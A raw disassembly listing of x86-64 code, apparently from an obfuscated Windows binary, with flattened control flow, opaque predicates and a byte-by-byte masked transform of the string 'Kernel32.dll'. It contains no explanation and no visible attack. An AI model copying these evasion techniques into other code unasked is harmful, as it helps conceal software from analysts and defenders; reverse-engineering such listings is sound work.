mov ebx, 0x3507be69
jmp 0x14002e310
cmp edx, 0x2ab0b29d
jg 0x14002e380
cmp edx, 0xf08a8ee8
je 0x14002e3bd
mov ebx, edx
cmp edx, 0x2b8ed5e
jne 0x14002e310
mov ebx, edi
jmp 0x14002e310
mov ebx, esi
cmp edx, 0x5b1975e2
je 0x14002e310
mov ebx, edx
cmp edx, 0x795191f6
jne 0x14002e310
mov ebx, 0x2b8ed5e
jmp 0x14002e310
cmp edx, 0x2ab0b29e
je 0x14002e300
mov ebx, edx
cmp edx, 0x2b701f4d
jne 0x14002e310
movzx edx, byte [rbp + 0x10]
cmp byte [rbp + 0x20], 0
mov ecx, 0x5b1975e2
mov ebx, 0x5b1975e2
jne 0x14002e3b3
mov ebx, 0xf08a8ee8
test dl, dl
cmovne ebx, ecx
jmp 0x14002e310
mov ebx, 0x5b1975e2
jmp 0x14002e310
mov ebx, edx
cmp edx, 0x3507be69
jne 0x14002e310
mov qword [rbp + 0x80], r11
mov qword [rbp + 0x78], r10
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
add ecx, eax
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x80]
and edx, eax
not edx
lea eax, [rcx + rdx*2]
add al, 0x21
mov rcx, qword [rbp + 0x48]
mov byte [r8 + rcx], al
mov eax, 0x8667555e
jmp 0x14002e0ad
cmp eax, 0x9673c739
je 0x14002e5dc
cmp eax, 0x9dca9d12
je 0x14002e5ea
cmp eax, 0xb2f22ac1
jne 0x14002e0ad
mov qword [rbp + 0x48], 0
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x947eb02c
mov ecx, 0x651d701c
jmp 0x14002e0a0
cmp eax, 0x3877e46b
je 0x14002e61a
cmp eax, 0x38fd6d49
jne 0x14002e0ad
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6e6802f
mov ecx, 0xc3aa39c2
jmp 0x14002e0a0
cmp eax, 0x947eb02c
je 0x14002e661
cmp eax, 0x95d3daa1
jne 0x14002e0ad
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc795721e
mov ecx, 0x3877e46b
jmp 0x14002e0a0
cmp eax, 0xf7eef02
je 0x14002e673
cmp eax, 0x16df8248
jne 0x14002e0ad
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x86285f42
mov ecx, 0x9dca9d12
jmp 0x14002e0a0
cmp eax, 0xc795721e
je 0x14002e67d
cmp eax, 0xcb47d19f
jne 0x14002e0ad
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x90066ffd
mov ecx, 0x92581a76
jmp 0x14002e0a0
cmp eax, 0x4d5a2298
jne 0x14002e68b
mov eax, 0x200d8dcf
jmp 0x14002e0ad
mov eax, dword [0x140061128]
mov ecx, dword [0x14006112c]
lea edx, [rax - 1]
imul edx, eax
and dl, 1
cmp ecx, 0xa
setl al
xor al, dl
mov eax, 0x16df8248
mov ebx, 0x86285f42
cmovne eax, ebx
test dl, dl
mov edx, 0x16df8248
cmove eax, edx
cmp ecx, 0xa
cmovl eax, edx
jmp 0x14002e0ad
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
mov eax, 0x92581a76
jmp 0x14002e0ad
mov eax, 0x9673c739
jmp 0x14002e0ad
mov rax, qword [rbp + 0x48]
mov eax, 0xc3aa39c2
jmp 0x14002e0ad
mov eax, 0x76cd170
jmp 0x14002e0ad
mov eax, 0x16df8248
jmp 0x14002e0ad
cmp byte [rbp + 0x77], 0
mov eax, 0x84ad6978
mov ecx, 0xcb47d19f
cmovne eax, ecx
jmp 0x14002e0ad
mov eax, 0x95d3daa1
jmp 0x14002e0ad
mov qword [rbp + 0x28], r8
mov eax, 0x4936f195
jmp 0x14002e0ad
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fed346
mov ecx, 0x4d5a2298
cmovne eax, ecx
cmp dword [0x14006112c], 0xa
mov ecx, 0x9fed346
cmovl eax, ecx
jmp 0x14002e0ad
mov rax, qword [rbp + 0x40]
cmp rax, 0x18
setb byte [rbp + 0x77]
mov eax, dword [0x140061128]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x14006112c], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0xc795721e
mov ecx, 0xf7eef02
cmovne eax, ecx
jmp 0x14002e0ad
mov qword [rbp + 0x48], 0
mov eax, 0xb2f22ac1
jmp 0x14002e0ad
mov eax, 0xd751ea44
jmp 0x14002e0ad
mov rax, qword [rbp + 0x40]
mov eax, 0x3877e46b
jmp 0x14002e0ad
cmp eax, 0x4936f195
jne 0x14002e0ad
mov rax, qword [rbp + 0x28]
mov eax, 0xd52b35ff
jmp 0x14002d990
mov eax, 0xb9703d02
jmp 0x14002d990
mov rax, qword [rbp + 0x58]
mov qword [rbp], rax
mov qword [rbp + 0x48], r9
lea rax, str.Kernel32.dll
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax]
mov qword [rbp + 0x80], rax
mov ecx, 0x28c014d3
mov edi, 0x25a0008d
nop dword [rax]
cmp ecx, 0x1ce0437a
je 0x14002e837
cmp ecx, 0x28c014d3
jne 0x14002e6e0
mov rax, qword [rbp + 0x80]
mov ecx, 0x9f
sub ecx, eax
add eax, 0x60
and ecx, 0xa0
and eax, 0x5f
or eax, ecx
mov ecx, 0x1ce0437a
jmp 0x14002e6e0
mov rax, qword [rbp + 0x58]
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x48], r9
lea rax, str.Kernel32.dll
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax]
mov qword [rbp + 0x80], rax
mov ecx, 0x28c014d3
mov edi, 0x25a0008d
nop dword [rax + rax]
cmp ecx, 0x1ce0437a
je 0x14002fde8
cmp ecx, 0x28c014d3
jne 0x14002e800
mov rax, qword [rbp + 0x80]
mov ecx, 0x9f
sub ecx, eax
add eax, 0x60
and ecx, 0xa0
and eax, 0x5f
or eax, ecx
mov ecx, 0x1ce0437a
jmp 0x14002e800
mov byte [rbp + 0x78], al
mov al, byte [rbp + 0x78]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 1]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop dword [rax + rax]
cmp edx, 0x1ce0437a
je 0x14002fe47
cmp edx, 0x28c014d3
jne 0x14002e860
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xa1
and ecx, 0x5e
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x14002e860
mov byte [rbp + 0x78], al
mov al, byte [rbp + 0x78]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 1]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop dword [rax]
cmp edx, 0x1ce0437a
je 0x140032935
cmp edx, 0x28c014d3
jne 0x14002fe10
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xa1
and ecx, 0x5e
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x14002fe10
mov byte [rbp + 0x78], cl
mov cl, byte [rbp + 0x78]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 2]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop word cs:[rax + rax]
nop
cmp edx, 0x1ce0437a
je 0x140032997
cmp edx, 0x28c014d3
jne 0x14002fe70
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xa2
and ecx, 0x5d
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x14002fe70
mov byte [rbp + 0x78], cl
mov cl, byte [rbp + 0x78]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 2]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1ce0437a
je 0x14003746f
cmp edx, 0x28c014d3
jne 0x140032960
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xa2
and ecx, 0x5d
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x140032960
mov byte [rbp + 0x78], cl
mov cl, byte [rbp + 0x78]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 3]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop word cs:[rax + rax]
nop
cmp edx, 0x1ce0437a
je 0x1400374c7
cmp edx, 0x28c014d3
jne 0x1400329c0
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xa3
and ecx, 0x5c
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x1400329c0
mov byte [rbp + 0x78], cl
mov cl, byte [rbp + 0x78]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 3]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop dword [rax]
cmp edx, 0x1ce0437a
je 0x14003b4aa
cmp edx, 0x28c014d3
jne 0x140037490
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xa3
and ecx, 0x5c
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x140037490
mov byte [rbp + 0x78], cl
mov cl, byte [rbp + 0x78]
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax + 4]
mov qword [rbp + 0x80], rax
mov ecx, 0x28c014d3
nop dword [rax]
cmp ecx, 0x1ce0437a
je 0x14003b507
cmp ecx, 0x28c014d3
jne 0x1400374f0
mov rax, qword [rbp + 0x80]
mov ecx, 0x9f
sub ecx, eax
add eax, 0x60
and ecx, 0xa4
and eax, 0x5b
or eax, ecx
mov ecx, 0x1ce0437a
jmp 0x1400374f0
mov byte [rbp + 0x78], cl
mov cl, byte [rbp + 0x78]
mov byte [rax + 3], cl
add rax, 4
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax + 4]
mov qword [rbp + 0x80], rax
mov ecx, 0x28c014d3
nop
cmp ecx, 0x1ce0437a
je 0x14004095a
cmp ecx, 0x28c014d3
jne 0x14003b4d0
mov rax, qword [rbp + 0x80]
mov ecx, 0x9f
sub ecx, eax
add eax, 0x60
and ecx, 0xa4
and eax, 0x5b
or eax, ecx
mov ecx, 0x1ce0437a
jmp 0x14003b4d0
mov byte [rbp + 0x78], al
mov al, byte [rbp + 0x78]
mov byte [rbp + 0x10], al
mov edx, 0x38f7cbab
jmp 0x14003b54d
mov qword [rbp + 0x78], rax
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x19c139f2
mov ecx, 0x1727013
nop word cs:[rax + rax]
nop
cmove edx, ecx
cmp dword [0x1400611ac], 0xa
cmovl edx, ecx
cmp edx, 0x38f7cbaa
jg 0x14003b5a0
cmp edx, 0xec67a32
jg 0x14003b5f0
cmp edx, 0xcfb8a971
jle 0x14003b692
cmp edx, 0xcfb8a972
je 0x14003b6b3
cmp edx, 0x1727013
jne 0x14003b54d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x3da7baa3
mov ecx, 0xcfb8a972
jmp 0x14003b540
cmp edx, 0x5b912fe7
jg 0x14003b650
cmp edx, 0x38f7cbab
je 0x14003b6f3
cmp edx, 0x3da7baa3
je 0x14003b757
cmp edx, 0x47fda080
jne 0x14003b54d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x19c139f2
mov ecx, 0x887818cb
jmp 0x14003b540
cmp edx, 0xec67a33
je 0x14003b517
cmp edx, 0x19c139f2
je 0x14003b770
cmp edx, 0x25a0008d
jne 0x14003b54d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1400611ac], 0xa
setl dl
setge bl
xor bl, cl
and dl, cl
xor dl, bl
mov edx, 0x76b77b66
mov ecx, 0x5b912fe8
cmovne edx, ecx
jmp 0x14003b54d
cmp edx, 0x5b912fe8
je 0x14003b789
cmp edx, 0x6d6f1f68
je 0x14003b793
cmp edx, 0x76b77b66
jne 0x14003b54d
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x5b912fe8
mov ecx, 0x87ac07bd
jmp 0x14003b540
cmp edx, 0x887818cb
jne 0x14003ba11
cmp byte [rbp + 0x20], 0
mov edx, 0xec67a33
cmovne edx, edi
mov rax, qword [rbp + 0x50]
jmp 0x14003b54d
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rcx, qword [rbp + 0x78]
add rcx, 1
mov qword [rbp + 0x50], rcx
mov rcx, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x50]
cmp rdx, rcx
sete byte [rbp + 0x20]
mov ecx, dword [0x1400611a8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edx, 0x3da7baa3
mov ecx, 0x47fda080
jmp 0x14003b540
mov rcx, qword [rbp + 0x40]
mov dl, byte [rbp + 0x10]
mov byte [rcx], dl
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 5]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
nop word cs:[rax + rax]
nop
cmp ebx, 0x1ce0437a
je 0x14003b7e3
cmp ebx, 0x28c014d3
jne 0x14003b720
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa5
and ecx, 0x5a
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x14003b720
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x38]
mov edx, 0xcfb8a972
jmp 0x14003b54d
mov rcx, qword [rbp + 0x78]
mov byte [rcx], 0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x38]
mov edx, 0x1727013
jmp 0x14003b54d
mov edx, 0x76b77b66
jmp 0x14003b54d
mov rax, qword [rbp + 0x68]
movzx eax, byte [rax + 9]
mov qword [rbp + 0x80], rax
mov ecx, 0x28c014d3
nop word [rax + rax]
cmp ecx, 0x1ce0437a
je 0x14003b837
cmp ecx, 0x28c014d3
jne 0x14003b7b0
mov rax, qword [rbp + 0x80]
mov ecx, 0x9f
sub ecx, eax
add eax, 0x60
and ecx, 0xa9
and eax, 0x56
or eax, ecx
mov ecx, 0x1ce0437a
jmp 0x14003b7b0
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 1], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 6]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
cmp ebx, 0x1ce0437a
je 0x14003b893
cmp ebx, 0x28c014d3
jne 0x14003b800
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa6
and ecx, 0x59
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x14003b800
mov byte [rbp + 0x58], al
mov al, byte [rbp + 0x58]
mov rcx, qword [rbp + 0x28]
mov byte [rcx], al
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 0xa]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
nop dword [rax + rax]
cmp edx, 0x1ce0437a
je 0x14003b8e3
cmp edx, 0x28c014d3
jne 0x14003b860
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xaa
and ecx, 0x55
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x14003b860
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 2], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 7]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
cmp ebx, 0x1ce0437a
je 0x14003b933
cmp ebx, 0x28c014d3
jne 0x14003b8b0
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa7
and ecx, 0x58
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x14003b8b0
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rax + 1], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 0xb]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
cmp edx, 0x1ce0437a
je 0x14003b983
cmp edx, 0x28c014d3
jne 0x14003b900
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xab
and ecx, 0x54
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x14003b900
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 3], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 8]
mov qword [rbp + 0x80], rcx
mov ebx, 0x28c014d3
cmp ebx, 0x1ce0437a
je 0x14003b9d3
cmp ebx, 0x28c014d3
jne 0x14003b950
mov rcx, qword [rbp + 0x80]
mov ebx, 0x9f
sub ebx, ecx
add ecx, 0x60
and ebx, 0xa8
and ecx, 0x57
or ecx, ebx
mov ebx, 0x1ce0437a
jmp 0x14003b950
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rax + 2], cl
mov rcx, qword [rbp + 0x68]
movzx ecx, byte [rcx + 0xc]
mov qword [rbp + 0x80], rcx
mov edx, 0x28c014d3
cmp edx, 0x1ce0437a
je 0x14003b9ee
cmp edx, 0x28c014d3
jne 0x14003b9a0
mov rcx, qword [rbp + 0x80]
mov edx, 0x9f
sub edx, ecx
add ecx, 0x60
and edx, 0xac
and ecx, 0x53
or ecx, edx
mov edx, 0x1ce0437a
jmp 0x14003b9a0
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rdx + 4], cl
add rdx, 5
mov qword [rbp + 0x28], rdx
mov edx, 0x6d6f1f68
jmp 0x14003b54d
mov byte [rbp + 0x58], cl
mov cl, byte [rbp + 0x58]
mov byte [rax + 3], cl
add rax, 4
mov rcx, qword [rbp + 0x48]
add rcx, 0x19
mov qword [rbp + 0x38], rcx
mov edx, 0xec67a33
jmp 0x14003b54d
cmp edx, 0x87ac07bd
jne 0x14003b54d
mov qword [rbp - 0x10], rsp
mov eax, 0xcb20867c
jmp 0x14003ba4e
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6115bb99
mov ecx, 0x45ebc2ad
cmove eax, ecx
cmp dword [0x1400611b4], 0xa
cmovl eax, ecx
cmp eax, 0x2f769c9c
jg 0x14003bac0
cmp eax, 0xdc0d7d96
jle 0x14003bb10
cmp eax, 0xdc0d7d97
je 0x14003c7f8
cmp eax, 0xde195c3a
je 0x14003d4b1
cmp eax, 0xfc1bd0dd
jne 0x14003ba4e
mov eax, dword [0x1400611b0]
mov ecx, dword [0x1400611b4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
cmp ecx, 0xa
setge bl
xor bl, al
mov eax, 0xc99c3b22
mov ebx, 0x6720f4d5
cmovne eax, ebx
cmp ecx, 0xa
mov ecx, 0xc99c3b22
cmovl eax, ecx
test dl, 1
cmove eax, ecx
jmp 0x14003ba4e
cmp eax, 0x5e279dda
jle 0x14003bb40
cmp eax, 0x5e279ddb
je 0x14003d4bb
cmp eax, 0x6115bb99
je 0x14003d4d9
cmp eax, 0x6720f4d5
jne 0x14003ba4e
mov eax, dword [0x1400611b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2f769c9d
mov ecx, 0xdc0d7d97
jmp 0x14003ba41
cmp eax, 0xc99c3b22
je 0x14003ba28
cmp eax, 0xcb20867c
jne 0x14003edf0
mov qword [rbp + 0x10], r9
mov eax, 0xfc1bd0dd
jmp 0x14003ba4e
cmp eax, 0x2f769c9d
je 0x14003e160
cmp eax, 0x45ebc2ad
jne 0x14003ba4e
mov r10, rsp
mov r11, qword [rbp + 0x10]
mov eax, dword [0x1400611b8]
mov ecx, dword [0x1400611bc]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x1f]
cmp ecx, 0xa
setl byte [rbp + 0x1e]
mov eax, 0xdf71f794
jmp 0x14003bbbd
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x988c5a5b
mov ecx, 0x1dc66492
nop dword [rax]
cmove eax, ecx
cmp dword [0x1400611bc], 0xa
cmovl eax, ecx
cmp eax, 0xf1304809
jle 0x14003bc20
cmp eax, 0x3d27c40e
jle 0x14003bc80
cmp eax, 0x69d5c2bd
jg 0x14003bd35
cmp eax, 0x4b18584e
jle 0x14003be5f
cmp eax, 0x62dd269b
jg 0x14003c017
cmp eax, 0x4b18584f
je 0x14003c2d5
cmp eax, 0x5f2b4794
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0x56ab6a0
jmp 0x14003bbb0
cmp eax, 0xb7633e00
jg 0x14003bce0
cmp eax, 0x9a0207dc
jle 0x14003bd72
cmp eax, 0xa1a955d0
jle 0x14003be8a
cmp eax, 0xaef00e70
jg 0x14003c068
cmp eax, 0xa1a955d1
je 0x14003c305
cmp eax, 0xa4c297a2
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf130480a
mov ecx, 0x89a242b2
jmp 0x14003bbb0
cmp eax, 0x28f8e7f9
jle 0x14003bdcb
cmp eax, 0x3548ed16
jle 0x14003bec9
cmp eax, 0x383d24c3
jg 0x14003c088
cmp eax, 0x3548ed17
je 0x14003c339
cmp eax, 0x38010efa
jne 0x14003bbbd
mov qword [rbp + 0x40], r11
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe3e2d3b3
mov ecx, 0x8582c309
jmp 0x14003bbb0
cmp eax, 0xd4c9a55c
jle 0x14003be15
cmp eax, 0xe3e2d3b2
jle 0x14003beff
cmp eax, 0xe8bf1131
jg 0x14003c0bc
cmp eax, 0xe3e2d3b3
je 0x14003c343
cmp eax, 0xe8706593
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3548ed17
mov ecx, 0x383d24c4
jmp 0x14003bbb0
cmp eax, 0x74ef2dd8
jle 0x14003bf3e
cmp eax, 0x7862d6f4
jg 0x14003c0f0
cmp eax, 0x74ef2dd9
je 0x14003c34d
cmp eax, 0x76a01761
jne 0x14003bbbd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov eax, 0x7862d6f5
jmp 0x14003bbbd
cmp eax, 0x8cbae95a
jle 0x14003bf69
cmp eax, 0x9771075a
jle 0x14003c2c0
cmp eax, 0x9771075b
je 0x14003c357
cmp eax, 0x988c5a5b
jne 0x14003bbbd
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
mov rax, qword [rbp + 0x38]
add rax, 1
mov rcx, qword [rbp + 0x58]
mov qword [rcx], rax
mov eax, 0x9a93d6f7
jmp 0x14003bbbd
cmp eax, 0x9e52667
jg 0x14003bf94
cmp eax, 0xf130480a
je 0x14003c365
cmp eax, 0xf8282498
je 0x14003c373
cmp eax, 0x56ab6a0
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0xca2aa47c
jmp 0x14003bbb0
cmp eax, 0xcec14fc6
jg 0x14003bfd3
cmp eax, 0xb7633e01
je 0x14003c389
cmp eax, 0xbd590664
je 0x14003c397
cmp eax, 0xca2aa47c
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcec14fc7
mov ecx, 0x9d093714
jmp 0x14003bbb0
cmp eax, 0x3d27c40f
je 0x14003c3b5
cmp eax, 0x3d57c85c
je 0x14003c3d3
cmp eax, 0x4049e1a1
jne 0x14003bbbd
mov eax, 0x3065742d
jmp 0x14003bbbd
cmp eax, 0x9a0207dd
je 0x14003c3f1
cmp eax, 0x9a93d6f7
je 0x14003bb84
cmp eax, 0x9d093714
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x746a711d
mov ecx, 0xf8282498
jmp 0x14003bbb0
cmp eax, 0x28f8e7fa
je 0x14003c3fb
cmp eax, 0x3065742d
je 0x14003c419
cmp eax, 0x32a3cf92
jne 0x14003bbbd
mov rax, qword [rbp + 0x58]
mov qword [rax], 0
mov eax, 0x62e61b4c
jmp 0x14003bbbd
cmp eax, 0xd4c9a55d
je 0x14003c44b
cmp eax, 0xd4ce6052
je 0x14003c459
cmp eax, 0xdf71f794
jne 0x14003bbbd
mov cl, byte [rbp + 0x1f]
cmp byte [rbp + 0x1e], 0
mov eax, 0x4049e1a1
mov edx, 0x3065742d
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x14003bbbd
cmp eax, 0x69d5c2be
je 0x14003c477
cmp eax, 0x72fc1027
je 0x14003c4a1
cmp eax, 0x746a711d
jne 0x14003bbbd
mov eax, 0x56ab6a0
jmp 0x14003bbbd
cmp eax, 0x8582c309
je 0x14003c4bf
cmp eax, 0x89a242b2
je 0x14003c4c9
cmp eax, 0x8a63bb18
jne 0x14003bbbd
mov eax, 0x4b18584f
jmp 0x14003bbbd
cmp eax, 0x9e52668
je 0x14003c4e7
cmp eax, 0x1dc66492
je 0x14003c69d
cmp eax, 0x2753fdcb
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8a63bb18
mov ecx, 0x4b18584f
jmp 0x14003bbb0
cmp eax, 0xcec14fc7
je 0x14003c6a7
cmp eax, 0xd0cc8406
je 0x14003c6b1
cmp eax, 0xd42690e8
jne 0x14003bbbd
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov rax, qword [rax]
mov al, byte [r11 + rax]
mov byte [rbp + 0x67], al
mov eax, 0xed3034e3
jmp 0x14003bbbd
cmp eax, 0x62dd269c
je 0x14003c6bb
cmp eax, 0x62e61b4c
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x1400611bc], 0xa
setge dl
xor al, dl
mov ebx, eax
xor bl, 1
and cl, dl
or cl, bl
xor cl, al
mov eax, 0x76a01761
mov ecx, 0x7862d6f5
cmovne eax, ecx
jmp 0x14003bbbd
cmp eax, 0xaef00e71
je 0x14003c6c5
cmp eax, 0xb0c52422
jne 0x14003bbbd
mov eax, 0x32a3cf92
jmp 0x14003bbbd
cmp eax, 0x383d24c4
je 0x14003c6ef
cmp eax, 0x39efa06e
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7633e01
mov ecx, 0x69d5c2be
jmp 0x14003bbb0
cmp eax, 0xe8bf1132
je 0x14003c70d
cmp eax, 0xed3034e3
jne 0x14003bbbd
mov eax, dword [0x1400611b8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e52668
mov ecx, 0x7fa07399
jmp 0x14003bbb0
cmp eax, 0x7862d6f5
je 0x14003c717
cmp eax, 0x7fa07399
jne 0x14003bbbd
mov r12, qword [rbp + 0x28]
movzx r15d, byte [rbp + 0x67]
mov ecx, dword [0x1400611c0]
mov edx, dword [0x1400611c4]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
sete byte [rbp + 0x76]
movabs rsi, 0x20d55fbb577198a0
lea r14, [r12 + rsi]
movabs rsi, 0x1f2aa044a88e675f
sub rsi, r12
movabs rdi, 0xa0d55fbb577198a0
add r12, rdi
movabs rdi, 0x24fa2630beb1be2e
and rsi, rdi
movabs rdi, 0x5b05d9cf414e41d1
and r14, rdi
or r14, rsi
cmp edx, 0xa
setl dl
setl byte [rbp + 0x77]
setge sil
or dl, cl
mov ebx, 0x8c14fb0b
mov edx, 0x873bf760
cmovne ebx, edx
mov r13d, 0x1dd6f415
mov edx, 0x674ae438
cmovne r13d, edx
xor cl, sil
